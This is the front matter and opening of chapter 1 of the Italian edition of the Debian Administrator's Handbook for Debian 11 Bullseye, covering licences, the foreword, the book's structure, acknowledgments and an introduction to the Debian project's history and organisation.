Il Manuale dell'Amministratore Debian

Debian Bullseye dalla scoperta alla padronanza

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Diritto d'autore © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

Diritto d'autore © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Diritto d'autore © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (versione tascabile in inglese)

ISBN: 979-10-91414-22-7 (ebook in inglese)

Questo libro è disponibile sotto i termini di due licenze compatibili con le linee guida del software libero Debian.

Licenza d'uso Creative Commons:  Questo libro è rilasciato sotto la Licenza Creative Commons Attribution-ShareAlike 3.0 Unported.

→ https://creativecommons.org/licenses/by-sa/3.0/

Licenza d'uso GNU General Public License:  Questo libro è documentazione libera: è possibile ridistribuirlo e/o modificarlo secondo i termini della GNU General Public License come pubblicata dalla Free Software Foundation, sia la versione 2 della licenza o (a propria scelta) una versione successiva.

Questo libro è distribuito nella speranza che possa essere utile, ma SENZA ALCUNA GARANZIA; senza neppure la garanzia implicita della COMMERCIABILITÀ o IDONEITÀ PER UNO SCOPO PARTICOLARE. Per ulteriori dettagli si veda la GNU General Public License.

Dovresti aver ricevuto una copia della GNU General Public License assieme a questo libro. Se così non è vedere https://www.gnu.org/licenses/.

Esprimi il tuo apprezzamento

Questo libro è pubblicato sotto una licenza libera perché vogliamo che chiunque ne benefici. Detto ciò, la sua manutenzione richiede tempo ed impegno e per questi motivi apprezzeremmo di essere ringraziati. Se ritenete che questo libro sia prezioso, vi invitiamo a contribuire al suo mantenimento acquistandone una copia cartacea o facendo una donazione attraverso il sito ufficiale:

→ https://debian-handbook.info

Sommario

Un libro di riferimento sulla distribuzione Debian, dall'installazione iniziale alla configurazione dei servizi.

Prefazione

Sono lieto di avere l'opportunità di darvi il benvenuto a Debian ed al manuale dell'Amministratore Debian. Molte persone hanno scelto Debian: circa il 10% dei server web su Internet vengono eseguiti su Debian. Quando si includono sistemi operativi basati su Debian, il totale si avvicina al 20%. Debian è stato selezionato come sistema operativo preferito per la Stazione Spaziale Internazionale. Che si tratti di ricerca fisica all'avanguardia o di un progetto per aiutare a coltivare il cibo mentre si combatte l'inquinamento, è stato utilizzato Debian nei computer che rendono possibile tutto ciò.

Perché Debian attrae grandi aziende, ricercatori, attivisti e hobbisti? Penso che la risposta stia nella flessibilità e nella comunità di Debian.

Debian è flessibile. Sì, fornisce un eccellente sistema operativo multiuso fuori dagli schemi. Fornisce, inoltre, gli strumenti per personalizzare Debian in qualsiasi ambiente in cui ci si trovi a lavorare. Che si tratti di un'architettura cloud con container, un'ampia gamma di workstation, singoli computer od un'appliance, Debian fornisce l'elasticità per funzionare bene in quell'ambiente. Troverai gli strumenti e gli esempi di cui hai bisogno per soddisfare le tue esigenze.

La comunità Debian è un luogo di incontro per diversi individui ed interessi: gli sviluppatori delle più grandi aziende lavorano al fianco di volontari, ricercatori e utenti. Che si tratti di esperti di sicurezza, sviluppatori web, programmatori o architetti di sistemi, siamo tutti rappresentati. Potete far parte di questa comunità. Quando troverete il modo in cui Debian può migliorare, accoglieremo con favore il vostro contributo.

Ci riuniamo per produrre, a livello mondiale, un sistema operativo libero. Nessuna azienda controlla Debian; nessun programma definisce il nostro lavoro. Invece, ognuno di noi ha il capacità di migliorare Debian nei modi che contano per noi. Grazie per aver dato un'occhiata a ciò che abbiamo costruito. Spero che vi piaccia.

Questo libro è un ottimo modo per esplorare Debian. L'ho consigliato agli amici per anni quando volevano saperne di più su Debian e sono lieto di avere l'opportunità di raccomandarlo in maniere più estesa. Questo manuale è scritto e mantenuto da membri di vecchia data della comunità Debian. Alcune delle persone che stanno lavorando per sviluppare il sistema operativo si sono unite per aiutarti a capirlo. E naturalmente il libro è sviluppato utilizzando un processo collettivo, simile a quello di Debian, con la medesima enfasi per la libertà.

Agosto 2019

Sam Hartman (Leader del Progetto Debian)

Introduzione

Da diversi anni ormai, Linux ha rafforzato la propria posizione e la sua crescente popolarità porta sempre più utenti a fare il salto. Il primo passo lungo questo percorso è la scelta di una distribuzione. Questa è una decisione importante poiché ogni distribuzione ha le proprie peculiarità e futuri costi di migrazione possono essere evitati se la scelta iniziale è quella giusta.

FONDAMENTALE Distribuzione Linux, Kernel Linux

In senso stretto, Linux è solo un kernel, la parte fondamentale di software che è posizionata tra l'hardware e le applicazioni.

Una "distribuzione Linux" è un sistema operativo completo; solitamente include il kernel Linux, un programma di installazione e, soprattutto, le applicazioni ed i software necessari per trasformare un computer in uno strumento effettivamente utile.

Debian GNU/Linux è una distribuzione Linux "generica" che soddisfa la maggior parte degli utenti. Il proposito di questo libro è di illustrarne i suoi molteplici aspetti così da permettere di prendere una decisione consapevole al momento della propria scelta.

1. Perché questo libro?

CULTURA Distribuzioni commerciali

La maggior parte delle distribuzioni sono supportate da aziende commerciali che le sviluppano e le vendono per trarne profitti. Le più note sono Ubuntu, manutenuta principalmente da Canonical Ltd.; Red Hat Enterprise Linux, dell'azienda Red Hat, Inc., acquisita da IBM e SUSE Linux , manutenuta e commercializzata da SUSE Software Solutions Germany GmbH acquisita da EQT Partners.

Alla parte opposta si trovano progetti come Debian e la Apache Software Foundation (che ospita lo sviluppo per il server web Apache). Debian è soprattutto un progetto nel mondo del Software libero, realizzato da volontari che collaborano tramite Internet. Sebbene alcuni di loro lavorino su Debian come parte del loro lavoro pagato in varie aziende, il progetto nel suo complesso non è legato ad alcuna azienda in particolare, né alcuna azienda ha più voce in capitolo nelle questioni del progetto di quanta ne abbia chi contribuisce in modo puramente volontario.

Linux ha raccolto negli anni una discreta copertura mediatica e sta crescendo a dismisura, spinto ad esempio dalla diffusione dei server virtuali, dei sistemi embedded e dell'uso dell'intelligenza artificiale; a beneficiarne maggiormente sono le distribuzioni supportate da un dipartimento marketing reale — in altre parole le distribuzioni sostenute dalle aziende (Ubuntu, Red Hat, SUSE e così via). Ma Debian è tutt'altro che una distribuzione marginale; diversi studi negli anni hanno dimostrato come sia largamente usata sia nei server che nei desktop. Ciò è particolarmente vero per i server web dove Debian e Ubuntu sono le distribuzioni Linux più usate.

→ https://w3techs.com/technologies/details/os-linux/all/all

L'obiettivo di questo libro è di aiutare a scoprire questa distribuzione. Speriamo di condividere l'esperienza che abbiamo raccolto da quando abbiamo aderito al progetto come sviluppatori e collaboratori nel 1998 (Raphaël) e 2000 (Roland). Con un po' di fortuna, il nostro entusiasmo sarà contagioso e può darsi che prima o poi vi uniate a noi…

La prima edizione di questo libro (nel 2004) è servita a riempire un vuoto: è stato il primo libro in lingua francese concentrato esclusivamente su Debian. Fino ad allora, erano stati scritti molti altri libri sull'argomento, sia per i lettori francofoni che anglofoni. Sfortunatamente quasi nessuno di quei libri è stato aggiornato e la situazione era ritornata ad un punto in cui esistevano pochissimi buoni libri su Debian. Noi speriamo che questo libro, che ha iniziato una nuova vita con la sua traduzione in inglese (e svariate traduzioni dall'inglese ad altre lingue) riempia questo vuoto ed aiuti molti utenti.

2. A chi è rivolto questo libro?

Abbiamo cercato di rendere questo libro utile a molte categorie di lettori. Innanzitutto, gli amministratori di sistema (sia principianti che esperti) troveranno spiegazioni riguardo l'installazione e l'utilizzo di Debian su molti computer. Troveranno inoltre una panoramica sulla maggior parte dei servizi disponibili in Debian, insieme alle relative istruzioni di configurazione e una descrizione delle specifiche che provengono dalla distribuzione. Conoscere i meccanismi coinvolti nello sviluppo di Debian permetterà loro di affrontare problemi imprevisti, sapendo che potranno sempre trovare aiuto nella comunità.

Gli utenti di altre distribuzioni Linux, o di altre varianti Unix, scopriranno le specifiche di Debian, e dovrebbero diventare rapidamente operativi beneficiando completamente dei vantaggi unici propri di questa distribuzione.

Infine, i lettori che hanno già qualche conoscenza di Debian e vogliono conoscere di più a proposito della comunità alle sue spalle dovrebbero veder soddisfatte le loro aspettative. Questo libro dovrebbe avvicinarli ad unirsi a noi come collaboratori.

3. Approccio Generale

Tutte le documentazioni generiche che si possono trovare a proposito di GNU/Linux sono applicabili anche a Debian, poiché Debian include la maggior parte del software libero di uso comune. Ad ogni modo, la distribuzione fornisce molti miglioramenti, che sono alla base della nostra scelta di descrivere principalmente "il modo Debian" di fare le cose.

È interessante seguire le raccomandazioni di Debian, ma è molto meglio capire le loro motivazioni. Quindi, non ci limiteremo alle sole spiegazioni pratiche; cercheremo anche di descrivere il funzionamento del progetto, per fornire una conoscenza esaustiva e coerente.

4. Struttura del libro

Questo libro è basato su un caso di studio e fornisce sia il supporto che l'illustrazione per tutti gli argomenti trattati.

NOTA Sito Web, email degli autori

Per questo libro è stato realizzato uno sito web specifico completo di tanti strumenti che lo rendono più utile. In particolare, include una versione online del libro con collegamenti navigabili ed eventuali errata. Tutti possono navigare a piacere nel sito e lasciare feedback. Saremo lieti di leggere i vostri commenti o i messaggi di supporto. Potete inviarli via email a <hertzog@debian.org> (Raphaël) e <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

Il Capitolo 1 si concentra su una presentazione non tecnica del progetto Debian descrivendone gli obiettivi e l'organizzazione. Questi aspetti sono importanti perché permettono di definire un quadro generale che sarà completato con informazioni più dettagliate nei capitoli successivi.

I Capitoli 2 e 3 forniscono una descrizione generale di un caso di studio reale. A questo punto, i lettori meno esperti possono dedicare un po' di tempo alla lettura dell'appendice B, dove potranno trovare un breve corso di recupero che spiega una serie di nozioni informatiche di base, nonché i principali concetti relativi a qualsiasi sistema Unix.

Proseguendo con il nostro caso reale, partiremo naturalmente con il processo di installazione (Capitolo 4); i Capitoli 5 e 6 ci porteranno alla scoperta dei principali strumenti che ogni amministratore di Debian utilizzerà, come quelli della famiglia APT, che sono in gran parte responsabili dell'eccellente reputazione maturata da questa distribuzione. Questi capitoli non sono dedicati ai soli professionisti, dato che ognuno è amministratore del proprio computer.

Il Capitolo 7 rappresenta un'importante parentesi; esso descrive le modalità di utilizzo in modo efficiente della documentazione in modo da comprendere rapidamente i problemi incontrati e trovarne la soluzione.

I capitoli seguenti saranno una panoramica dettagliata del sistema, partendo dall'infrastruttura di base ed i servizi (Capitoli da 8 a 10) e proseguendo progressivamente fino alle applicazioni utente, nel Capitolo 13. Il Capitolo 12 si occupa di argomenti più avanzati che riguardano più direttamente gli amministratori di grandi insiemi di computer (compresi i server), mentre il Capitolo 14 è una breve introduzione al tema più ampio della sicurezza informatica e fornisce alcune indicazioni per evitare la maggior parte dei problemi.

Il Capitolo 15 è per quegli amministratori che voglio andare oltre e crearsi i propri pacchetti Debian. Infine, il Capitolo 16 descrive il possibile futuro di Debian.

VOCABOLARIO Pacchetto Debian

Un pacchetto Debian consiste di un archivio contenente tutti i file necessari per installare un software. È generalmente un file con estensione .deb e può essere gestito dal comando dpkg. Chiamato anche pacchetto binario, contiene file che possono essere utilizzati direttamente (come programmi eseguibili o documentazione). Un pacchetto sorgente invece contiene il codice sorgente del software e le istruzioni necessarie per costruire il pacchetto binario.

La versione attuale è già la decima edizione del libro (includendo le prime quattro che erano disponibili solo in francese). Questa edizione copre la versione 11 di Debian, nome in codice Bullseye. Tra i cambiamenti, Debian ora supporta UEFI Secure Boot che fornisce una sicurezza in più contro gli attacchi all'infrastruttura di avvio e la rende più facile da installare su nuovi computer dove Secure Boot è spesso abilitato di default. Sempre a livello di sicurezza è ora abilitato, per impostazione predefinita, AppArmor un sistema di controllo degli accessi (Mandatory Access Control) che regola ciò che le varie applicazioni possono eseguire. Tutti i pacchetti inclusi sono stati ovviamente aggiornati, incluso il desktop GNOME, che ora è nella sua versione 3.38.

Abbiamo aggiunto alcune note e osservazioni nei riquadri. Queste assolvono a svariati compiti: possono attirare l'attenzione su un punto difficile, completare una nozione del caso di studio, definire alcuni termini, o servire da promemoria. Questa è un lista delle tipologie più comuni:

FONDAMENTALE: un promemoria di alcune informazioni che si suppone siano già note;

VOCABOLARIO: definisce un termine tecnico, a volte specifico di Debian;

COMUNITÀ: evidenziano persone o ruoli importanti all'interno del progetto;

POLITICA: una regola o una raccomandazione della Debian Policy (Politiche di Debian); questo documento è fondamentale all'interno del progetto e descrive come realizzare un pacchetto software. Le parti della politica evidenziate in questo libro portano benefici diretti agli utenti (ad esempio, sapere che la politica standardizza la posizione della documentazione e gli esempi rendono facile trovarli anche in un nuovo pacchetto);

STRUMENTO: presenta uno strumento o un servizio importante;

IN PRATICA: teoria e pratica non sempre coincidono; questi riquadri contengono consigli pratici derivanti dalla nostra esperienza. Possono anche fornire esempi dettagliati e concreti;

altri tipi di riquadri usati più o meno frequentemente hanno nomi piuttosto espliciti: CULTURA, SUGGERIMENTO, ATTENZIONE, APPROFONDIMENTO, SICUREZZA, e così via.

5. Contribuire

Questo libro è sviluppato come un progetto di software libero, il vostro contributo e il vostro aiuto sono benvenuti. Il modo più ovvio per partecipare è quello di aiutare a tradurlo nella tua lingua madre. Ma questa non è l'unico modo. È possibile aprire segnalazioni di bug per segnalarci sviste, errori di battitura, informazioni obsolete od argomenti che dovremmo prendere in esame. Oppure è possibile inviare una richiesta per includere la tua correzione ad un qualsiasi problema identificato.

Tutte le istruzioni per contribuire al libro sono documentate sul sito web:

→ https://debian-handbook.info/contribute/

6. Ringraziamenti

6.1. Un po' di storia

Nel 2003, Nat Makarévitch mi contattò (Raphaël) perché aveva intenzione di pubblicare un libro su Debian nella raccolta Cahier de l'Admin (Manuale dell'amministratore) che gestiva per Eyrolles, un importante editore francese di testi tecnici. Accettai immediatamente di scrivere il libro. La prima edizione è stata pubblicata il 14 ottobre 2004 e fu un grande successo — andò esaurita appena quattro mesi dopo.

Da allora, sono state rilasciate altre 7 edizioni della versione francese, una per ogni successivo rilascio di Debian (eccetto per Debian 9). Roland, che ha iniziato a lavorare al libro come correttore di bozze, a poco a poco è diventato il co-autore.

Sebbene fossimo ovviamente soddisfatti del successo del libro, speravamo che Eyrolles riuscisse a convincere un editore internazionale a tradurlo in inglese. Avevamo ricevuto molte segnalazioni di come il libro avesse aiutato molte persone ad iniziare con Debian, ed eravamo desiderosi di far sì che il libro potesse aiutare nello stesso modo molte altre persone.

Purtroppo, nessun editore inglese che contattammo era disposto a correre il rischio di tradurre e pubblicare il libro. Non lasciandoci scoraggiare da questo piccolo ostacolo, abbiamo negoziato con il nostro editore francese Eyrolles e abbiamo ottenuto i diritti necessari per tradurre il libro in inglese e pubblicarlo noi stessi. Grazie ad una campagna di crowdfunding di successo, abbiamo lavorato alla traduzione da dicembre 2011 a maggio 2012. Nacque così il "Debian Administrator's Handbook", pubblicato con una licenza per software libero!

Sebbene questo fosse un passo importante, sapevamo già che la storia non poteva dirsi conclusa fino a che non avremmo potuto fornire il libro in francese come traduzione ufficiale di quello in inglese. Ciò non era in quel momento possibile perché il libro francese era ancora distribuito commercialmente da Eyrolles con una licenza non libera.

Nel 2013 il rilascio di Debian 7 ci diede una buona opportunità di discutere un nuovo contratto con Eyrolles. Siamo riusciti a convincerli che una licenza più in linea con i valori di Debian avrebbe contribuito al successo del libro. Non è stato un accordo facile da fare, e abbiamo accettato di organizzare un'altra campagna di crowdfunding per coprire parti dei costi così da ridurre i rischi correlati. Ancora una volta l'operazione fu un enorme successo e nel luglio 2013, abbiamo aggiunto una traduzione francese del Debian Administrator's Handbook.

Vorremmo ringraziare tutti coloro che hanno contribuito a queste campagne di raccolta fondi, sia con contributi in denaro che con il passaparola. Senza di loro non ce l'avremmo mai fatta.

Per risparmiare un po' di carta, 5 anni dopo le campagne di raccolta fondi e dopo due edizioni, abbiamo eliminato la lista delle persone che hanno scelto di essere premiate con la menzione del loro nome nel libro. Ma il loro nome è impresso nei riconoscimenti dell'edizione Wheezy del libro:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Un Ringraziamento Speciale ai Collaboratori

Questo libro non sarebbe stato quello che è senza il contributo di diverse persone che hanno avuto un ruolo importante durante la fase di traduzione e oltre. Vorremmo ringraziare Marilyne Brun, che ci ha aiutato a tradurre il capitolo di esempio e ha lavorato con noi per definire alcune comuni regole di traduzione. Ha inoltre revisionato diversi capitoli che avevano un disperato bisogno di un lavoro supplementare. Grazie ad Anthony Baldwin (di Baldwin Linguas) che ha tradotto diversi capitoli per noi.

Poiché Roland ed io eravamo troppo occupati per aggiornare il libro per Debian 11, abbiamo usato i modesti introiti che otteniamo attraverso donazioni e vendite per assumere collaboratori che svolgessero la maggior parte del lavoro. Grazie mille a Jorge Maldonado Ventura e Daniel Leidert per il duro lavoro svolto in questo aggiornamento.

Abbiamo beneficiato del generoso aiuto dei correttori di bozze: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens e Tom Syroid. Ognuno di loro ha revisionato molti capitoli. Grazie mille!

Poi, una volta liberata la versione Inglese, abbiamo naturalmente ricevuto moltissimi riscontri, suggerimenti e correzioni dai lettori e ancora di più dai molti gruppi che hanno intrapreso il compito di tradurre questo libro in altre lingue. Grazie!

Vogliamo anche ringraziare i lettori della versione francese che con i loro commenti ci hanno confermato che sarebbe stato veramente importante tradurlo in inglese: grazie a voi Christian Perrier, David Bercot, Étienne Liétart e Gilles Roussi. Stefano Zacchiroli, che era Project Leader di Debian durante la campagna di finanziamento, merita un grande ringraziamento, ha avallato il progetto con una dichiarazione spiegando come libri liberi (come in libertà) erano più che necessari.

Chi ha il piacere di leggere queste righe in una copia tascabile del libro, dovrebbe unirsi a noi per ringraziare Benoît Guillon, Jean-Côme Charpentier e Sébastien Mengin che hanno lavorato al design interno del libro. Benoît è l'autore di dblatex: lo strumento che ci ha permesso di convertire il testo in Latex (e poi in PDF). Sébastien è il designer che ha creato l'impaginazione di questo bel libro e Jean-Côme è l'esperto di LaTeX che la ha implementata come foglio di stile usabile con dblatex. Grazie ragazzi per tutto il duro lavoro!

Infine, grazie a Thierry Stempfel per le belle immagini che introducono ogni capitolo e grazie a Doru Patrascu per la bellissima copertina.

6.3. Ringraziamenti ai Traduttori

Fin da quando il libro è stato reso libero, molti volontari si sono impegnati a tradurlo in numerose lingue, come l'arabo, il portoghese brasiliano, il tedesco, l'italiano, lo spagnolo, il giapponese, il Bokmål norvegese ecc. Scopri l'elenco completo delle traduzioni sul sito web: https://debian-handbook.info/get/#other

Vorremmo ringraziare tutti i traduttori e i revisori di traduzione. Il vostro lavoro è molto apprezzato perché porta Debian nelle mani di milioni di persone che non sanno leggere l'inglese.

6.4. Ringraziamenti personali di Raphaël

Prima di tutto, vorrei ringraziare Nat Makarévitch, che mi ha offerto la possibilità di scrivere questo libro e mi ha guidato durante l'anno che è stato necessario per scriverlo. Grazie anche al bel team di Eyrolles e, in particolare, a Muriel Shan Sei Fan. È stata molto paziente con me insegnandomi molte cose.

Il periodo delle campagne Ulule per me è stato molto impegnativo, ma vorrei ringraziare tutti coloro che hanno contribuito a renderle un successo, in particolare il team di Ulule che ha reagito molto velocemente alle mie numerose richieste. Grazie anche a tutti coloro che hanno promosso l'operazione. Non ho un elenco completo (e se lo avessi, probabilmente sarebbe troppo lungo), ma vorrei ringraziare alcune delle persone che erano in contatto con me: Joey-Elijah Sneddon e Benjamin Humphrey di OMG! Ubuntu, Florent Zara di LinuxFr.org, Manu di Korben.info, Frédéric Couchet di April.org, Jake Edge di Linux Weekly News, Clement Lefebvre di Linux Mint, Ladislav Bodnar di Distrowatch, Steve Kemp di Debian-Administration.org, Christian Pfeiffer Jensen di Debian-News.net, Artem Nosulchik di LinuxScrew.com, Stephan Ramoin di Gandi.net, Matthew Bloch di Bytemark.co.uk, il team a Divergence FM, Rikki Kite di Linux New Media, Jono Bacon, il team marketing di Eyrolles e molti altri che potrei aver dimenticato (scusatemi per questo).

Voglio fare un ringraziamento speciale a Roland Mas, il mio co-autore. Abbiamo collaborato a questo libro sin dall'inizio e lui è sempre stato all'altezza della sfida, devo anche dire che il completamento del Debian Administrator's Handbook ha comportato un sacco di lavoro…

Ultimo, ma non meno importante grazie a mia moglie Sophie. Mi ha sostenuto molto nel lavoro a questo libro e a Debian in generale. L'ho lasciata sola troppi giorni (e notti) con i nostri 2 bimbi per portare avanti il lavoro sul libro. Le sono grato per il suo sostegno e so quanto sono fortunato di averla a mio fianco.

6.5. Ringraziamenti personali di Roland

Beh, Raphaël ha già anticipato anche la maggior parte dei miei ringraziamenti "esterni". Vorrei comunque sottolineare la mia gratitudine al personale di Eyrolles con il quale la collaborazione è sempre stata piacevole e senza contrasti. Si spera che i risultati dei loro ottimi consigli non si siano persi nella traduzione.

Sono estremamente grato a Raphaël per aver seguito la parte amministrativa di questa edizione inglese. Dall'aver organizzato la campagna di finanziamento agli ultimi dettagli dell'impaginazione del libro, produrre un libro tradotto è molto più di una semplice traduzione e correzione di bozze, e Raphaël ha fatto (o delegato e supervisionato) tutto. Quindi grazie.

Grazie anche a tutti coloro che più o meno direttamente hanno contribuito a questo libro, fornendo chiarimenti o spiegazioni e consigli sulla traduzione. Sono troppi da citare, ma la maggior parte di loro di solito può essere trovata nei diversi canali IRC #debian-*.

C'è una certa sovrapposizione con il precedente insieme di persone, ma un ringraziamento particolare va alle persone che contribuiscono effettivamente a Debian. Non ci sarebbe questo libro senza di loro, e sono ancora stupito di quello che il progetto Debian nel suo complesso mette a disposizione di tutti.

Un ringraziamento più personale va ai miei amici ed ai miei clienti, per la loro comprensione quando ero meno scattante alle loro richieste perché ero impegnato alla stesura di questo libro, e anche per il loro costante supporto e incoraggiamento. Voi sapete chi siete, grazie.

E infine, sono sicuro che sarebbero sorpresi di essere menzionati qui, ma vorrei estendere la mia gratitudine a Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson e naturalmente al compianto Douglas Adams. Le innumerevoli ore che ho trascorso godendo dei loro libri sono direttamente responsabili per il mio essere in grado di prendere parte, prima, alla traduzione di un libro e, in seguito, alla scrittura di nuove parti.

Capitolo 1. Il Progetto Debian

Prima di affrontare la tecnologia, vediamo in cosa consiste il progetto Debian, quali sono i suoi obiettivi, i suoi mezzi e il suo funzionamento.

1.1. Cosa è Debian?

CULTURA Origine del nome Debian

Non cercate altro: Debian non è un acronimo. Questo nome è, in realtà, la contrazione di due nomi: quello di Ian Murdock, e quello della sua ragazza a quel tempo, Debra. Debra + Ian = Debian.

Debian è una distribuzione GNU/Linux. Affronteremo meglio in dettaglio il discorso su cosa è una distribuzione nella Sezione 1.5, «Il ruolo delle distribuzioni», ma per ora, possiamo semplicemente dire che si tratta di un sistema operativo completo, comprensivo di software e di sistemi per l'installazione e la gestione, tutti basati sul kernel Linux e su software libero (in particolare quelli provenienti dal progetto GNU).

Quando nel 1993 Ian Murdock ha creato Debian, sotto la guida della Free Software Foundation (FSF), aveva obiettivi chiari che ha espresso nel Manifesto Debian. Il sistema operativo libero che stava cercando di realizzare, avrebbe dovuto avere due caratteristiche principali. Innanzitutto qualità: Debian doveva essere sviluppata con la massima cura per essere degna del kernel Linux. Sarebbe anche stata una distribuzione non commerciale, sufficientemente credibile per competere con le maggiori distribuzioni commerciali. Questa duplice ambizione si sarebbe potuta realizzare, dal suo punto di vista, solo rendendo aperto il processo di sviluppo di Debian come quello di Linux e del progetto GNU. In questo modo si migliorerebbe continuamente il prodotto grazie ad una revisione paritaria.

CULTURA GNU, il progetto della FSF

Il progetto GNU consiste in un insieme di software libero sviluppato o sponsorizzato dalla Free Software Foundation FSF, creato dal suo leader simbolo Dr. Richard M. Stallman. GNU è un acronimo ricorsivo e sta per "GNU is Not Unix" (GNU Non è Unix).

CULTURA Richard Stallman

Il fondatore della FSF e autore della licenza GNU General Public License (GPL), Richard M. Stallman (spesso indicato con le sue iniziali, RMS), è un leader carismatico del movimento del software libero. Non è unanimemente ammirato a causa delle sue posizioni intransigenti, ma i suoi contributi non tecnici al Software Libero (in particolare quelli giuridici e filosofici) sono rispettati da tutti.

1.1.1. Un Sistema Operativo Multipiattaforma

COMUNITÀ Il percorso di Ian Murdock

Ian Murdock, fondatore del progetto Debian, fu il suo primo leader dal 1993 al 1996. Dopo aver passato il testimone a Bruce Perens, Ian assunse un ruolo meno pubblico. Tornò a lavorare dietro le quinte della comunità del software libero creando l'azienda Progeny, con lo scopo di commercializzare una distribuzione derivata da Debian. Questa impresa fu, purtroppo, un fallimento dal punto di vista commerciale e lo sviluppo venne abbandonato. La società, dopo diversi anni di difficoltà, come semplice fornitore di servizi, alla fine ha presentato istanza di fallimento nell'aprile 2007. Di tutti i vari progetti avviati da Progeny, è rimasto solo discover. Si tratta di uno strumento automatico di rilevamento hardware.

Ian Murdock è morto il 28 dicembre 2015 a San Francisco dopo una serie di tweet preoccupanti in cui ha riferito di essere stato aggredito dalla polizia. Nel luglio 2016 è stato annunciato che la sua morte era stata dichiarata un suicidio.

Debian, rimanendo fedele ai suoi principi, ha avuto un successo tale che, oggi, ha raggiunto una dimensione enorme. Attualmente, sono ufficialmente supportate nove architetture hardware con diverse varianti di ciascuna architettura, note come "flavor", ed anche altri kernel come FreeBSD, sebbene i port basati su quest'ultimo non fanno parte della serie di architetture ufficialmente supportate. Inoltre, con più di 31.000 pacchetti sorgente, il software disponibile è in grado di soddisfare quasi tutte le esigenze, sia in ambito domestico che aziendale.

La dimensione della distribuzione può essere un problema: è irragionevole distribuire 18 DVD-ROM (contenenti solo i pacchetti qualificati come "Software Libero") per installare una versione completa su un comune PC... Per questo Debian è considerata sempre di più come una "meta-distribuzione", da cui si ricavano specifiche distribuzioni dedicate ad un pubblico particolare: Debian Science per uso scientifico, Debian Edu per l'uso didattico e pedagogico in un ambiente scolastico, Debian-Med per le applicazioni mediche, Debian-Jr. per i bambini, ecc. Una lista completa di tutti i sottoprogetti è consultabile nella sezione Sezione 1.3.3.1, «Sottoprogetti e Blend Debian esistenti», dedicata a tale scopo.

Queste divisioni di Debian sono organizzate in un quadro ben definito così da garantire una completa compatibilità tra le varie "sotto-distribuzioni". Tutte seguono la pianificazione principale per il rilascio di nuove versioni. Essendo costruite sulla stessa base, possono essere facilmente estese, completate e personalizzate con le applicazioni disponibili nei repository Debian.

Tutti gli strumenti di Debian operano in questa direzione: debian-cd ha permesso per parecchio tempo la creazione di un insieme di CD-ROM contenenti i soli pacchetti pre-selezionati; anche debian-installer è un programma di installazione modulare, facilmente adattabile a particolari esigenze. APT installerà i pacchetti da diverse fonti, garantendo comunque l'integrità globale del sistema.

STRUMENTO Creazione di un CD-ROM/DVD/USB Debian

debian-cd crea immagini ISO dei supporti (CD, DVD, Blu-Ray, USB, ecc.) di installazione pronte all'uso e personalizzabili. Qualsiasi argomento riguardante questo software è discusso (in Inglese) nella mailing list <debian-cd@lists.debian.org>. Il team è guidato da Steve McIntyre che si occupa della costruzione della ISO Ufficiale di Debian.

Poiché debian-cd è diventato uno strumento piuttosto complesso, il pacchetto simple-cdd contiene un wrapper per creare facilmente un supporto di installazione personalizzato.

FONDAMENTALE Ad ogni computer, la sua architettura

Il termine "architettura" indica un tipo di computer (le più conosciute sono Mac o PC). Ogni architettura si differenzia principalmente in base al proprio processore, solitamente incompatibile con gli altri tipi di processore. Queste differenze hardware comportano metodi diversi di funzionamento, perciò richiedono che il software venga compilato specificatamente per ciascuna architettura.

La maggior parte del software disponibile su Debian è scritto in linguaggi di programmazione portabili: lo stesso codice sorgente può essere compilato per varie architetture. In effetti, un binario eseguibile, compilato per una specifica architettura, non funzionerà su nessuna delle altre.

Ricorda che ogni programma viene generato scrivendo codice sorgente; il codice sorgente è un file di testo composto da istruzioni in uno specifico linguaggio di programmazione. Prima di poter utilizzare il software, è necessario compilare il codice sorgente, che significa trasformare il codice in un file binario (una serie di istruzioni in linguaggio macchina eseguibili dal processore). Ogni linguaggio di programmazione ha un specifico compilatore per eseguire questa operazione (per esempio, gcc per il linguaggio C).

STRUMENTO Installatore

debian-installer è il nome del programma di installazione di Debian. La sua struttura modulare ne consente l'utilizzo in una vasta gamma di scenari di installazione. Il lavoro di sviluppo è coordinato nella mailing list <debian-boot@lists.debian.org> sotto la direzione di Cyril Brulebois.

1.1.2. La Qualità del Software Libero

Debian segue tutti i principi del Software Libero e le nuove versioni vengono rilasciate solo se pronte. Gli sviluppatori non sono costretti a rispettare rigide pianificazioni nei rilasci delle nuove versioni. Spesso le persone si lamentano del troppo tempo che intercorre tra due release stabili di Debian, ma questa prudenza assicura anche la sua leggendaria affidabilità: sono necessari lunghi mesi di test perché una distribuzione possa ricevere l'etichetta "stable" (stabile).

Debian non accetta compromessi sulla qualità: tutti i bug (errori) critici noti sui pacchetti chiave devono essere corretti prima di ogni nuovo rilascio, anche se questo dovesse richiedere la posticipazione della data di uscita inizialmente pianificata. I pacchetti facoltativi i cui bug critici non sono corretti e quindi non soddisfano i requisiti di qualità, vengono semplicemente eliminati dalla versione stabile.

1.1.3. Il Quadro Giuridico: Un'Organizzazione Senza Scopo di Lucro

Dal punto di vista giuridico, Debian è un progetto gestito da una associazione di volontariato senza scopo di lucro Americana. Il progetto ha un migliaio di sviluppatori Debian, ma riunisce un numero molto maggiore di collaboratori (traduttori, segnalatori di errori, artisti, sviluppatori occasionali, ecc.).

Per portare a compimento la sua missione, Debian dispone di una grande infrastruttura, con molti server connessi attraverso Internet, offerti ed ospitati da molti sponsor.

COMUNITÀ Dietro Debian, l'associazione SPI ed i rami locali

Debian non possiede alcun server a proprio nome, dato che è un progetto interno all'associazione Software in the Public Interest (SPI), che gestisce l'hardware e tutti gli aspetti finanziari (donazioni, acquisto di hardware, ecc.). Sebbene inizialmente fu creata appositamente per il progetto Debian, quest'associazione ora gestisce anche altri progetti di software libero come, ad esempio, il database PostgreSQL, il progetto Freedesktop.org per la standardizzazione delle varie parti dei moderni ambienti desktop grafici (come GNOME e KDE Plasma) e la suite per ufficio LibreOffice.

